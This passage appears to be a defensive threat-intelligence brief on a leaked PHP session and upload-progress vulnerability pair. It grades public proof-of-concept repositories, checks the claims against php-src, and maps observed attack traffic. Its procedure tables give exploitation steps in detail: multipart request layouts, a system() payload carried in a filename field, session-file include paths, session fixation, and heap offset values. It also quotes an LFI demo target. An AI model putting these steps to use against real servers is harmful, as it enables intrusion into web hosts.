  • 03:55 UTC — page advertised 0c254d54…0d63; the server returned d1ec08b7…ead1 (39,767,660 B, mtime 01:57:54). Two downloads agreed, so not transfer corruption.
  • 06:45 UTC — the server now returns 0c254d54…0d63 (39,765,851 B, mtime 03:24:49) — the archive the page described earlier. The old file is no longer served.
  • 06:45 UTC — the page now advertises a29d640e…3017, which matches neither the served archive nor anything we can fetch.

That is a re-upload in progress rather than evidence of tampering, but it means no integrity claim about this bundle can be checked: the page and the artefact move independently, and every "signed release" claim sits behind plain HTTP. Do not run it. Trojanised PoCs for hyped CVEs are a known pattern.

Update 06:55 UTC — seven defensive repositories, four since 04:55

An independent audit published at 04:38 UTC ran the bundle's own two PoC bodies (62,929 B and 67,975 B) against ASAN builds of PHP 8.4.4 and 8.2.34: HTTP 200, no ASAN report, no command output, and a forged handler pointed at 0x4141414141414141 never faulted. It argues the UAF cannot fire because Z_TRY_ADDREF(progress->data) gives the array its own reference, and that deleting that one line reproduces the fault. This is consistent with the bundle's own "no ASAN heap-use-after-free fired" note and with the 19h analysis, and it independently arrived at the same tarball hash we measured. Treat it as a strong lead rather than a verdict: it is hours old, single-author, and the vendor patch remains the arbiter.

Also published since the first draft, both MIT-licensed and shareable: syhunt/php2shell-protection (Apache .htaccess test kit, deliberately ships no PoC) and break-the-build/php-uploadprogress-waf (ModSecurity, nginx and Suricata rules). Neither contains exploit code.

Four more appeared between 05:42 and 06:34 UTC, all defensive:

None ships exploit code. The exploit mirror Zer061/CVE-2026-109618 is now the most-visible artefact in the ecosystem at 23 stars and 22 forks, which is itself the operational risk: the copy people are finding first is the unaudited one.

Update 09:10 UTC — the ecosystem turned defensive

The population went from 17 repositories to 35 between 06:19 and 08:31 UTC, and almost all of the growth is remediation rather than exploitation: PasqualePillitteri/php2shell-hardening (nginx, Apache, ModSecurity, Cloudflare and php.ini rules), cloudducoeur/ansible-playbook-CVE-2026-109618, cm-suzuki-ryo/aws-waf-php2shell-post-guard, Autive/php2shell-watch (a PHP-FPM crash and child-spawn watchdog), darkfibr/php2shell-detect and orbitron-ai/php2shell-response-kit. Half the population now ships no exploit code at all. That is the ecosystem maturing, not the threat — and none of it substitutes for the patch.

The exploit-claiming newcomers are weaker than the artefacts already on this page, not stronger. 0x4148/…-php2shell-lab is candid about its ceiling: its success case prints Armed: YES and "cached zval* pointers were written through (stale path reached)" — path reached, no sanitizer report, no execution. That is the same result the bundle's own author recorded and called a failure. eness/…-PoC states in one paragraph that the bug is "confirmed on standard php-src builds (including 8.4.4 and 8.2.34)" and, in the next, that the PoC "will be published very soon". A reproduction claim for code that does not exist is not a reproduction.

The one exception is ikow/php2shell-poc, which does ship code — and whose memory-corruption chain is analysed in the technical section above.

Update 02:00 UTC — where the exploit ecosystem actually stands

The population reached 379 repositories, from 35 on the morning of 21 October. More interesting than the count is that the two most-starred projects corrected themselves after the advisory, and the original bundle author publicly abandoned his own root cause.

  • ikow/php2shell-poc — 3 → 993 stars, and rewritten to match the advisory. Five commits after the patch: “Add Chain D (OOM trigger), update README with official CVE details” at 16:05, “Add Chain E (FPM stale BG) verification POC” at 18:14, detection rules at 20:06, then a full lab rewrite at 20:48. The README now carries the official CVE table and the fixed versions. Yesterday this brief called it “the most-cited wrong analysis”; that is no longer true, and the correction is the author’s own.
  • jackalsyn — the author retracted Model A. The page now reads “CORRECTED FINDINGS (2026-10-21): Cached-pointer chain DEAD at the addref (session.c:3213 Z_TRY_ADDREF keeps array alive — no free, no RCE, CVSS 0.0)”, and describes instead a memory_limit bailout inside the pre-RINIT decode that leaves the var-layer context with a dangling data pointer. That is the vendor’s mechanism, reached independently. The tarball is still 404 and the advertised checksum still matches nothing.
  • 9bie — 40 → 496 stars. 21 MB of notes, and the only public exploit work that was aimed at the real mechanism before the advisory. Still claims display_errors=1 for RCE.
  • eness — 238 → 610 stars. Updated at 17:02; its poc_109618.py remains a re-implementation of the retired cached-pointer chain.
  • Zer061 — the former bundle mirror now holds something else. It was a 38 KB mirror of the jackalsyn tarball; it is now 21 MB and its file list is 9bie’s ASLR/OOM documentation. The artefact people were told not to run has been replaced in place by a different project.
  • Two renames and one deletion, all earlier: 19h/CVE-2026-109618 is gone (404); break-the-build/php-uploadprogress-waf is now php-multipart-waf-signals and marked observation-only — review any blocking deployment; and xuehuolll/…-audit dropped “audit”, now xuehuolll/php2shell-CVE-2026-109618-109619.

NCSC-NL remains the most useful non-vendor reference at 121 stars, updated 21:40 UTC, and repeats the point worth acting on: check third-party images, appliances and embedded runtimes separately, because updating host PHP does not update a bundled runtime.

Separately, watchTowr says it reproduced CVE-2026-109618 internally and is withholding detail until patches ship. That is a second, independent confirmation that the vulnerability is real — but it has not published a proof of concept, and should not be counted as a public exploit.

↑ Back to contents

Exploit ecosystem · scraped 2026-10-22

Every public PoC, scraped and graded

Six GitHub searches returned 1,175 rows, deduplicated to 426 unique repositories — up from 379 in yesterday’s count. Twenty-three were reviewed in depth; the rest are classified by description and topics only. Grading is against the CNA record, not against other repositories.

The decisive question for any PoC is whether it needs a pre-existing LFI or application sink. If it does, it is the decade-old session.upload_progress + LFI technique — an application bug that the engine’s upload-progress feature makes convenient — and not these CVEs. MITRE’s affected set is 8.2–8.5, patched in 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12.

Population measureValuePopulation measureValue
Unique repositories426Classified defensive163
Created before the advisory108Classified exploit-claiming67
Created after the advisory318No description89
Pushed in the last 24 h391Zero-star repositories269

The graded set — 23 reviewed artefacts

Repository★Claimed vectorNeeds app sinkGrade
9bie/php2shell-bypass-aslr-exp 639 OOM / stale state, PHP 8.4.26 + mod_php, single exploit.py No — official image, 3/3 Aligned
dinosn/php-cve-2026-10961x-lab-poc 64 Four-request chain, FPM stale BG(unserialize), patch gaps on 8.5.12 No Aligned
xuehuolll/…-109619 17 Mechanics, working 8.4.x chain, post-patch status No Aligned
ikow/php2shell-poc 1134 Chains D/E match the advisory; Chain A is session + LFI Both Partial cites the real commit, overclaims elsewhere
murrez/php2shell 26 Passive fingerprint plus primitive tests No Partial “banner match alone does not mean RCE”
eness/…-PoC 667 “Heap UAF in session upload progress” LFI implied Mislabelled retired Model A; ships an unofficial source patch
junaire/CVE-2026-109618-exploit 97 session.upload_progress chain, nginx + FPM Yes Mislabelled
wakemeiflose/php2shell 54 Claims heap UAF, ships session + LFI; largest code body at 89 KB Yes Mislabelled
syrex1013/php2shell 52 Session poison, log poison, FastCGI, PEAR webshell Yes Mislabelled
Is4yev/php2shell-poc 26 “Heap UAF (crash + RCE framework)” Unstated Mislabelled
0x4148/…-php2shell-lab 19 Cached rfc1867 pointers (Model A) — Mislabelled but self-candid: “path reached, no execution”
godylockz/…-php2shell 14 Heap leak + libphp leak + forged pDestructor → zif_system No Mislabelled retired Model A
neko/php2shell (Gitea) 0 Session + LFI, plus “three patch bypasses” Yes, by construction Mislabelled — see below
openai/php2shell-checker 520 Version checker — Defensive
NCSC-NL/php2shell 136 CERT-EU operational information, TLP:CLEAR — Defensive
mikensec/php2shell-lab 21 Offline lab, emits YARA / Sigma / Suricata — Defensive
Zer061/CVE-2026-109618 57 Now a verbatim mirror of 9bie — Mirror
lcfr-eth/CVE-2024-14027_slop 91 Personal research workspace, Solana donation address — Low credibility
enactive-systems, iQingshan, KarimUD7, david-alvarez-rosa, scallydima 15–32 Two-file PoCs and lab reductions Unstated Unverified

Four findings

The off-GitHub artefact — git.kurosek.com/neko/php2shell

Not in the GitHub population because it is a personal Gitea instance: one commit, created 2026-10-21T16:38Z, zero stars, no licence. It advertises “three confirmed bypass paths that defeat the official security patch”.

Its own demo target is the tell. Both CVE directories ship the same “vulnerable” application:

session_start();
if (isset($_GET['page'])) { include($_GET['page']); }
The demo “vulnerable” target — identical in both CVE directories

That is an LFI by construction. Every script in the repository ends in “include a file I control via the app’s LFI”. The three claimed bypasses — a TOCTOU window on the session file, an aborted upload via RLIMIT_AS, and reading PHP’s upload temp file through /proc/<pid>/fd — are all LFI tricks that work on every PHP version and touch none of the patched code. Its own single negative result argues against its thesis: “Multipart part header flood: OOM triggered but the patch handles it correctly (exit code 70, session file cleaned up).”

Do not use it as a patch-verification tool. Run against a fully patched host that happens to have an LFI, it reports RCE — and the operator concludes the PHP fix is broken when their application is.

Safety scan — no trojanised PoC in the reviewed set

Primary exploit file fetched and scanned for each code-shipping repository. Every pattern hit resolved to a benign use: subprocess.run orchestrating docker compose, and target-directed payloads such as eval($_REQUEST[1]) or /etc/passwd used as LFI paths. No outbound callback, no local credential access, no long encoded blob in any reviewed file. The kurosek repository is likewise stdlib-only, with no external endpoints.

Limit stated plainly: one file per repository, not a full audit. A repository shipping a clean primary file could still carry something elsewhere. The withdrawn jackalsyn bundle above remains the one artefact with an integrity history that cannot be checked, and the instruction there is unchanged.

Denominator: 23 of 427 known artefacts (426 GitHub repositories plus one off-GitHub Gitea). The aligned / mislabelled split describes the reviewed set, not the whole population. Full method, per-repository raw READMEs and the scrape itself are retained in poc-review/, with the written addendum in POC-REVIEW-2026-10-22.md.

↑ Back to contents

TTPs

Observed TTPs — what attackers are actually doing

This heading previously read “No adversary TTPs are confirmed”. That is no longer true: canary and honeypot operators captured real attack traffic from 17 October. The section now runs in three tiers, and the tier matters more than the technique: what was actually seen on a wire, what the published exploit code can do, and what is only hypothesis.

Tier 1 — observed against real hosts, 17–21 October

BehaviourEvidenceATT&CKConfidence
Exploitation attempted four days before disclosureAWS MadPot, 17 Oct, from 103.216.220.92 on an anonymisation network. No explanation of how the actor had the details.T1190High — single vendor, but a dated telemetry record
Mass scanning for PHP endpoints with tool-specific UAs, switching to browser UAs for the sweepVulnCheck: 188 and 26 canaries reached; a 58-host GET / sweep rotating Chrome, Edge, IE11, Safari and Firefox stringsT1595.002High
Target discovery through phpinfo, info.php, test.php and randomised probe filesVulnCheck, 109.71.252.97: PHP-info sweep then /php2shell-probe-<random>.phpT1595High
Webshell dropped through PHP_SESSION_UPLOAD_PROGRESS, then read back via php://filterVulnCheck, 221.14.159.134: shell written by multipart upload, ten /download.php?file=php://filter/… reads, all 404T1505.003 · T1190High — observed, and it failed
Commercial anonymisation and VPN egress throughoutAWS: addresses are shared anonymisation infrastructure “not exclusive to this threat activity”; MadPot saw differing anonymisation choices across attemptsT1090High
Multiple distinct actors, not one campaignAWS: differing payloads and anonymisation choices between 02:00 and 08:00 UTC indicate “multiple actors”—Medium

Read Tier 1 carefully: the only complete attack chain captured was the session-poisoning path, and it did not work — the read-back 404’d because the target had no include sink. The memory-corruption exploits that actually work are demonstrated in labs, not yet in the canary data. That is consistent with VulnCheck’s assessment that “none [of the public PoCs] independently bypass ASLR on x86-64”, that RCE was reproduced on ARM64 and on x86 without ASLR, and that ARM64 ASLR “can be bruteforced relatively easily”.

Tier 2 — behaviour implemented by the published exploit code

Read from PoC source and the artefacts those authors captured. This is tool capability, not adversary behaviour. We did not execute either PoC, so "confirmed" means the code and the captured logs agree, not that we reproduced the chain.

BehaviourEvidenceATT&CKStatus
Unauthenticated multipart POST reaches the vulnerable path19h exploit_driver.py; jackalsyn delivery sectionT1190Capability
Session ID accepted from a form field, creating sess_<chosen-id>19h P1; matches php-src PR #22113session fixationCorroborated
Attacker string written into the session file via the progress key19h P2; payload_snapshot.binn/aCorroborated
Command execution via system() once the file is included19h rce_chain.py, abort_poison.py; jackalsyn zend_call_functionT1059.004Lab only
Deterministic path lets the attacker choose which file is included19h P1 and Rn/aLab only
Session fixation: victim app adopts the attacker-chosen sid19h P4 transcriptT1539Lab only
Session-write denial when the marker contains a pipe19h P5 A/B matrix, 0 vs 546 bytesavailabilityLab only
Host fingerprinting via injected payload (md5_file of /etc/hostname)payload_snapshot.binT1082Observed
Per-build offset extraction (--syms, --dtor) for the UAF pathjackalsyn CLIn/aClaimed only

Not confirmed: do not circulate these as TTPs

These came from general incident-response guidance, not from this exploit. They are retained only as hunting hypotheses.

ATT&CKEarlier claimWhy it does not hold
T1505.003Web shell as a durable implantUpgraded to Tier 1 in part. A webshell was observed being planted on 21 October — but through the session file, with no persistence beyond it, and the read-back failed. What remains unconfirmed is a webshell surviving as a persistent component.
T1059.003Windows command shellNo PoC or report tests Windows PHP; php-cgi.exe appears only in generic vendor advice
T1105Ingress tool transferFrom "watch for curl/wget" hygiene guidance; no PoC performs it
T1053.003Cron persistenceGeneric post-compromise checklist; no link to this exploit
T1070.004File deletionSame
T1033User discoveryGeneric recon command list; not observed
n/aMass exploitation within 15 minutesSansec forecast, not an observation
Correction to this brief

The first version of this section listed nine ATT&CK techniques as "expected". That was wrong in method: it merged exploit capability, generic vendor hunting advice and speculation into one table, and the ATT&CK column implied adversary behaviour where none has been observed. The Windows and web-shell rows had no supporting evidence at all. Use the confirmed table above; treat the rest as hunting hypotheses only.

↑ Back to contents

Procedure level

What the tooling actually does, step by step

Tactic and technique come from ATT&CK; the procedure is the concrete implementation. Since no adversary has been observed, these are the procedures the published tools implement, with exact values taken from their source. The two models are different chains and are kept separate.

Model B — the 19h chain

#TacticTechniqueProcedure as implementedObservable
B1ReconnaissanceT1595.002Identify a PHP endpoint accepting multipart POST where session.upload_progress is enabled (the default). No probe code ships; implied by the lab.multipart POSTs across endpoints
B2Preparation—Choose a session id matching the files-handler charset [a-zA-Z0-9,-]; know session.save_path so the on-disk path is predictable.none on the wire
B3Initial AccessT1190One POST /index.php, Content-Type: multipart/form-data; boundary=XRBOUNDARY, no Cookie header, parts in order: PHPSESSID, PHP_SESSION_UPLOAD_PROGRESS, then 3 file parts. Five Content-Disposition parts trips max_multipart_body_parts=4.multipart body carrying both field names with no session cookie
B4Persistence (contested)—Needs session.upload_progress.cleanup=0. Stock cleanup=1 deletes the entry; the report's claim that the bail path bypasses cleanup is falsified in source (rfc1867.c:797 → :1273). Alternate route: overstate Content-Length by 65536, send 3×4096 B at 0.4 s intervals, set SO_LINGER to force RST.sess_* containing upload_progress_
B5ExecutionT1059.004POST /lfi_sink.php with the payload in the filename field (<?php system("id"); ?>), then GET /lfi_sink.php?page=/tmp/sessdata/sess_<sid>.include of a session path; php-fpm → shell child
B6Credential AccessT1539Victim hits victim.php?login=1 with Cookie: PHPSESSID=<chosen>; the app writes user=admin; role=superuser into the attacker-known file; the attacker replays the sid. Technique mapping is imperfect — this is fixation, not cookie theft.login succeeding on a session id the server never issued
B7ImpactT1499Send a marker containing a literal pipe; php_session_encode() returns NULL and the write is silently skipped, so state stops persisting for that id. Closest technique, not an exact fit.0-byte sess_<sid> while the app believes it wrote

Model A — the jackalsyn chain

#TacticTechniqueProcedure as documentedObservable
A1ReconnaissanceT1595.002VALIDATE package: map target SAPI, PHP version and multipart surface (--selftest).—
A2Preparation—--syms --binary <lsphp> to extract the per-build delta between zval_ptr_dtor and zend_call_function. Shipped values: bookworm 0xc930, noble 0xcef0, jammy 0xd060.distro PHP package retrieval
A3Preparation—--build --bug 619 --dtor <leak> -o body.bin for the stale-inner variant, or --bug 618 for stale-outer.—
A4Initial AccessT1190A single fast multipart POST arms both cached zval* buckets, then the socket is held past session.upload_progress.min_freq (default 1 s) so a second update() re-reads the session file.connection held open over 1 s mid-upload
A5ExecutionT1059.004Reclaim the freed bucket with attacker-shaped data: zend_fcall_info (64 B, param_count at +48), zend_internal_function.handler at +88, types IS_STRING_EX 0x106 / IS_OBJECT_EX 0x308, reaching zend_call_function and then system().shell child of php-fpm
A6Defense Evasion—Heap grooming so the freed bucket is reused; a wrong build delta crashes the worker rather than executing.php-fpm worker crashes or restarts
What is absent from every procedure

No command-and-control, no lateral movement, no exfiltration, no credential dumping, and no persistence beyond a session file. None of it appears in either PoC, so none of it belongs in a TTP briefing.

↑ Back to contents

Timeline

How an embargo turned into a footrace

The leak did not come from the researchers' own write-up. It started as an anonymous Hacker News post with no evidence attached, and the disclosure timetable moved within hours.

↑ Back to contents

Appendix A · retired models

Five competing models — all of them wrong

Appendix A — click to collapse
Read this before the models below

This section is retained as an audit trail of what the public believed between 03:55 and 13:44 UTC. Every model in it is now retired against the vendor advisory, which locates both CVEs in bailout and stale-state handling rather than in the session handler, the unserializer's destructor list, or zend_user_unserialize(). The resolution table in the advisory section above shows verdict by verdict.

It is kept for two reasons the project's rules require: failed hypotheses are evidence, and the reason five plausible models all pointed at the same subsystem is itself the operational lesson — session.upload_progress is a consumer of CVE-2026-109619, so every researcher who started from the leaked PoC and worked backwards from the session handler was led away from the bailout that actually frees the memory.

What follows is the pre-advisory state, unedited apart from this notice.

multipart/form-data POST any PHP endpoint · session.upload_progress=On Model A — heap use-after-free two cached zval* bucket pointers stale pointer → fake zend_fcall_info zend_call_function → system() needs a per-build offset leak + heap grooming author self-labels it "weaponized (lab)" Model B — session state machine P1 form-field PHPSESSID accepted P2 progress key written verbatim to sess_<id> P3 orphaned session file survives request reaches RCE only through an app include()/require() reproduced in a local Docker lab, not in the wild
Where the two public models diverge. Both start from the same default-enabled request path; they disagree on whether memory corruption is involved and on what the attacker still needs before getting code execution.

Model A — heap use-after-free in the upload-progress callback

Published by J4ck3LSyN (ATLAS) with research credits to Andrew Dorman and Arch&Yuki, and mirrored by at least one GitHub repository. It claims php_session_rfc1867_callback caches two raw zval * bucket pointers (post_bytes_processed, current_file_bytes_processed) that are invalidated when the session tree is freed and rebuilt on a second progress update. The stale pointer is shaped into a fake zend_fcall_info, reaching zend_call_function and then system().

Its own page undercuts the strongest reading: it requires a per-build offset leak between zval_ptr_dtor and zend_call_function, ships three vendor debug-symbol files to derive it, and describes itself as "weaponized (lab)". Unconfirmed (source)

What the bundle's own validation says — and what we could verify

The bundle now carries VALIDATION.md, REPORT_VALIDATION.md, RATING.md and DELTAS_LSphp.md. They describe two bugs (a stale read through post_bytes_processed and a stale store through current_file_bytes_processed) and cite exact source lines rather than prose. The document labels itself "conceptually validated … ASAN reproduction in progress"; the page's section 7 then reports that reproduction: the 258-byte multipart request reached the vulnerable path and armed both cached bucket pointers, but no ASAN heap-use-after-free fired. The author's explanation is that the freed chunk must first be reclaimed as an attacker-shaped 149-element packed array, and that grooming stage is not in the bundle.

We checked the source claims independently against the php-src PHP-8.4 branch at 06:45 UTC. All twelve cited lines match what the tool describes — the two cached zval * fields at php_session.h:136–137, the zend_hash_str_find captures at session.c:3316/3342, the stores at :3355/3356/3375, the zend_hash_update at :3214, min_freq at :953, and FILLUNIT 5120 at rfc1867.c:184. We also confirmed the disputed Z_TRY_ADDREF(progress->data) at session.c:3213, one line before that zend_hash_update — the addref the independent 04:38 audit says prevents the tree from being freed at all. Source reading: accurate. End-to-end exploitation: still not demonstrated by anyone.

Model B — session and multipart state-machine flaws

A second repository documents five primitives verified against php:8.4.4-cli in a local Docker instance and explicitly states that Model A's "two-update UAF" is "mechanically falsified" — nothing in its chain touches a dangling pointer. Its primitives:

  • P1 — a multipart form field named PHPSESSID is accepted before script resolution, creating sess_<attacker-chosen-id> even with session.use_only_cookies=On and no Cookie header.
  • P2 — the PHP_SESSION_UPLOAD_PROGRESS value is stored verbatim as a session key and re-serialized into the session file, so attacker-chosen content lands on disk.
  • P3 — corrected at 07:00 UTC. The original claim was that exceeding max_multipart_body_parts skips the cleanup event, leaving the poisoned file behind. It does not: the bail path does goto fileupload_done (rfc1867.c:797) and MULTIPART_EVENT_END fires there unconditionally (:1268–1273). With stock cleanup=1 the progress entry is therefore deleted and the session file ends up empty. The 19h repository has reached the same conclusion in its own README ("CORRECTED MODEL", cleanup=0 → 556 B, cleanup=1 → 0 B) while its report file still states the opposite. Treat session.upload_progress.cleanup=0 as a hard prerequisite for this chain. Verified in source by us.
  • P4/P5 — session fixation with attacker-chosen values, and a silent write-denial when the marker contains |.

RCE in this model needs an application-level code-execution sink — an include()/require() of a session-mapped path, or unserialization of attacker-controlled session values. That is a materially narrower claim than "unauthenticated RCE on any PHP host". Medium — locally reproduced, not independently audited. (repository)

Model C — the missing cookie-only guard, already public since May

php-src PR #22113, opened 2026-05-21 and still open, adds exactly the guard Model B's P1 describes: php_session_rfc1867_early_find_sid() already honoured use_only_cookies for $_GET, but the form-field capture in MULTIPART_EVENT_FORMDATA had no such check. The pull request adds a four-line check and a rfc1867_sid_post_use_only_cookies.phpt test.

Its author wrote, in the pull request itself: "I don't know if this is a security fix." It has been reviewed and reworked but never merged. This predates the leak by five months and is the single strongest corroboration that at least one of the two flaws is a session-handling logic bug rather than memory corruption.

Re-checked 06:41 UTC: still open, merged: false, last updated 2026-10-16, 9 comments and 2 review comments, head branch jorgsowa:fix/session-upload-progress-use-only-cookies targeting PHP-8.4. Unchanged since the leak — if this were the fix, it would have been merged by now.

Analytic inference — not a published finding

Two CVE identifiers for what several sources describe as one disclosure is easiest to explain as two distinct issues: one memory-safety bug and one session/multipart logic bug. Nothing public confirms that split, the mapping between IDs and issues is ambiguous in every circulating source, and the jackalsyn bundle never says which ID is which. Treat the pairing as unresolved until 14:00 UTC.

Revised 09:10 UTC: a third candidate now exists for the memory-safety half — the unserializer reentry described above, rather than the session callback. The "one memory bug, one logic bug" shape survives; which memory bug does not. That is one more reason not to build detections on a specific primitive before the advisory lands.

What this means for your risk assessment

If Model A is correct, internet-facing PHP is directly exploitable and the 9.2 score is conservative. If Model B is correct, mass exploitation depends on how many applications include session paths — far fewer than "all PHP", but the session-fixation primitive alone is still a credential-theft problem on nearly every PHP application. Plan for the worse case, but do not tell leadership that every PHP server is a guaranteed shell.

A fourth chain, outside session.c — checked 09:00 UTC

At 07:55 UTC a repository appeared claiming three independent RCE chains, the memory-corruption one located in PHP's unserializer rather than the session handler: ikow/php2shell-poc, by Qi Deng. The author has prior published work on React Server Components RCEs, which earns a read rather than a dismissal — so we read it, and then we read the code it describes.

The mechanism, taken from PHP-8.4 in our own tree:

  • var_destroy() frees the back-reference var_entries chunks first (var_unserializer.re:242–246), then walks the delayed-destructor list and calls i_zval_ptr_dtor() at :308. Unlike the __wakeup and __unserialize invocations at :277 and :294, that destructor call is not bracketed by BG(serialize_lock).
  • With the lock down, a unserialize() issued from inside __destruct takes the reuse branch of php_var_unserialize_init() (:77–80) and is handed the in-flight parser state — the exact structure whose back-reference chunks were freed a moment earlier.
  • The inner parse then runs var_push() against ->last, which still points into the freed chunk: :118 reads it and :132 writes data[used_slots++] through it. That is a use-after-free write, not merely the stale read the author's back-reference trigger demonstrates.
Assessment — a real defect, at the wrong size

Source confirmed the ordering, the missing lock and the reuse branch are exactly as described. We did not execute anything: this environment has neither a PHP binary nor a container runtime, so the author's ASAN trace remains Unreproduced here.

Long-standing, therefore unlikely to be new the same reuse logic is present verbatim in PHP-7.2 (:37) and PHP-8.2 (:63). A defect shipped for years, in a path every object-carrying unserialize() traverses, is an odd candidate for a freshly assigned critical — whatever it is filed under.

Not a pre-auth core RCE all three of the repository's chains need something from the application: an include() of an attacker-influenced path, an unserialize() of attacker-controlled data with classes permitted, or a per-directory session.serialize_handler mismatch plus a POP gadget. That precondition is the one the earlier models already carried, restated as though it were new.

The escalation is asserted rather than shown — reading zif_system out of executor_globals.function_table and rewriting var_dump's handler through /proc/self/mem. The write step presupposes code execution the chain has not yet obtained, and the ASLR position is never explained. Treat the whole thing as a Medium lead against a Unconfirmed CVE mapping. Note also that the README's "full writeup" link points at a Substack whose newest post is dated 19 October and is not about PHP — as of 09:00 UTC the only copy of this analysis is the repository itself.

Model E — the leaker's own root cause, in zend_interfaces.c — checked 13:35 UTC

This one matters more than its position in the list suggests, because of who published it. The @calif_io account that dropped the PHP2Shell claim and the exploit video on 20 October also published a technical write-up and PoC under the label MADBugs. It locates the bug somewhere none of the other four models do: Zend/zend_interfaces.c.

The claim is a one-line omission. zend_user_unserialize() dispatches the userland Serializable::unserialize() method, and unlike the __wakeup and __unserialize dispatch points in var_unserializer.re (:277, :294, both verified in this brief), it does not raise BG(serialize_lock). With the lock at zero, an inner unserialize() called from inside that method shares the outer parser's back-reference table; the inner object's property zvals get registered as outer slots pointing into its own property-table buffer; a later property-table resize frees that buffer; and an R:N back-reference then reads through the stale slot.

What we verified, and what it implies for the CVE mapping

Source confirmed zend_user_unserialize() at zend_interfaces.c:442–461 contains no BG(serialize_lock) increment — the string does not appear anywhere in that file — and the function is byte-for-byte equivalent in PHP-8.2 at :438. The asymmetry with the __wakeup/__unserialize paths is real.

But it is probably not either CVE. The write-up assigns no CVE identifier, and it notes PHP's standing 2017 policy that unserialize() memory-corruption bugs are not treated as security vulnerabilities. If that policy still holds, a 9.2 advisory is unlikely to be this. The likelier reading is that the leak bundled two different things: the session-handler CVEs that PHP is actually patching at 14:00 UTC, and a separate unserializer UAF that the leaker had also found and demonstrated.

Reproduction is claimed, not witnessed — 10/10 local runs on PHP 8.5.5, and 3/3 remote against php:8.5-apache at roughly 2,375 HTTP requests per run. We have not reproduced it and cannot: no PHP runtime here. The remote precondition is genuinely strong — the target must load a Serializable class that recursively deserializes inner data and then enlarges the inner object's property table. The write-up itself calls real-world matches "uncommon".

↑ Back to contents

Appendix B · revision log

What this brief said before the advisory, in order

Appendix B — click to collapse

Kept unedited. Between 03:55 and 13:44 UTC the vendor had published nothing, so every entry below is a snapshot of inference under uncertainty — including inferences that later turned out to be wrong. They are retained because failed hypotheses are evidence: they show which readings the public evidence supported before the source of truth existed, and how confidently the ecosystem acted on them.

Where anything here disagrees with the advisory section near the top of this page, the advisory section is correct.

What changed since the 04:55 revision — measured 06:40–07:15 UTC

The exploit bundle was replaced. The file served at 03:55 (39,767,660 B, mtime 01:57:54) is gone; the server now returns a different archive (39,765,851 B, mtime 03:24:49) with SHA-256 0c254d54…0d63 — the value the page was advertising when we first looked. The page has since moved to a third checksum, a29d640e…3017, which matches nothing we can fetch. Page and artefact are being updated out of step.

The author's own ASAN run is negative. The bundle now ships VALIDATION.md and REPORT_VALIDATION.md; section 7 reports the 258-byte trigger firing against an ASAN php 8.4.4 build, both cached pointers armed and written through, and no heap-use-after-free observed. The author attributes this to the missing heap-groom stage.

We verified the source-line claims ourselves. Twelve line references in the bundle documentation were checked against php-src PHP-8.4; all twelve match, as do php_session.h:136–137 and the Z_TRY_ADDREF(progress->data) at session.c:3213. The source description is accurate; the code-execution step is still only asserted.

Unchanged: no CVE record at MITRE, nothing at NVD, not in KEV (catalog still 2026.10.20), no in-the-wild reporting, PR #22113 still open but not merged. New: a Red Hat tracking bug (Fedora, NEW, severity medium) and four more defensive repositories.

07:15 UTC — the picture on "what works" is now much clearer. An independent audit reproduces the session-poisoning chain but not the UAF on 8.2.34, 8.4.4, 8.5.4 and 8.5.11, and shows the circulating demo's printed addresses match one exact Ubuntu package build (Δ0xbe3f0). We verified in source that the multipart bail path does fire the cleanup event, falsifying the "orphaned session file" primitive; cleanup=0 is now a hard prerequisite. Indicators, artifact hashes and PoC status have their own section below.

What changed since the 07:15 revision — measured 08:45–09:10 UTC

The official state has not moved, and that is now itself the finding. Re-checked at 08:50 UTC: MITRE returns CVE_RECORD_DNE for both identifiers, NVD returns 0 results, the CISA KEV catalog is still 2026.10.20 with 1,754 entries, and Shodan's CVEDB answers "No information available". ThreatFox and OTX return zero for both IDs. The advisory is still 14:00 UTC, and PHP's published trigger for releasing early — public technical detail or evidence of exploitation — has not fired.

The repository population doubled, 17 → 35, and the growth is defensive. WAF and reverse-proxy rule sets, Ansible playbooks, one-line php.ini hardening, PHP-FPM crash watchdogs and estate scanners. Only a handful contain exploit code. That is the ecosystem maturing, not the threat maturing — and none of it substitutes for the patch.

A fourth technical chain appeared at 07:55 UTC, and this one ships code. It moves the use-after-free out of session.c and into PHP's unserializer. We checked it against php-src line by line: the mechanism holds up, the framing does not. Full analysis in the technical section.

The bundle has not moved since 03:24:49. Same 39,765,851 bytes, same mtime, served from Cloudflare cache. The page still advertises a29d640e…3017, which matches nothing we can fetch.

What changed since the 09:10 revision — measured 13:30–13:35 UTC

The bundle has been withdrawn. The download URL that served 39.7 MB all day now returns HTTP 404 (13:32 UTC). The post itself is still up and now advertises a fourth checksum, 74adf2c4…93f0, which has never matched anything. Whether this is the author pulling the artefact, a takedown, or a rotation mid-flight is not knowable from outside; what is knowable is that no one can now verify the binary anyone may already have run.

A far more plausible root cause surfaced, and it is not in session.c. The account that leaked PHP2Shell in the first place — calif.io — published MADBugs/php: a missing BG(serialize_lock)++ in zend_user_unserialize(), verified by us at source. That is a different bug from every model this brief has carried so far. It also cuts against that bug being one of these CVEs — PHP's own 2017 policy is not to treat unserialize() memory corruption as a security vulnerability. See the technical section.

The repository population tripled again: 35 → 102 in four hours. A national CERT has now published operational guidance — NCSC-NL/php2shell, TLP:CLEAR, mirroring CERT-EU, "no indication of active exploitation" but "large-scale exploitation likely in the short term". Alongside it: CrowdSec rules, nuclei templates, a PHP extension, a PrestaShop module, a Cloudflare Worker, and someone backporting the fix to PHP 7.4 themselves.

One outlet claims in-the-wild exploitation. We are not carrying it as fact. The News (Pakistan) states "Active exploitation in the wild has been confirmed as reported by Cloudflare and security researchers" — one sentence, no Cloudflare report linked, no researcher named, contradicted by watchTowr, Huntress, NCSC-NL and ACSC. It is recorded below as Unconfirmed with that denominator attached.

Official state, re-checked 13:35 UTC: MITRE CVE_RECORD_DNE, NVD 0, KEV still 2026.10.20 / 1,754, ThreatFox zero for both IDs and for "php2shell".

What changed since the 14:05 revision — measured 15:15–15:25 UTC

The records are now formal. MITRE published both CVEs under assigner php at 13:48 and 13:54 UTC (updated 14:36); NVD ingested both at 14:17 UTC with status Received and CVSS v4.0 9.2 CRITICAL. KEV rolled to catalog 2026.10.21 — count unchanged at 1,754, still neither CVE.

Exploitation moved from "unreported" to "attempted". Cloudflare's CTO says it was observing early attacks before the patch and has deployed temporary WAF rules. watchTowr says attempts are visible but nobody has succeeded yet, and expects that to change. The Record reports hundreds of sites taken offline pre-patch, with Nintendo the only organisation named. Sophos and Huntress were still negative at their own publication times — those are older snapshots, not a contradiction.

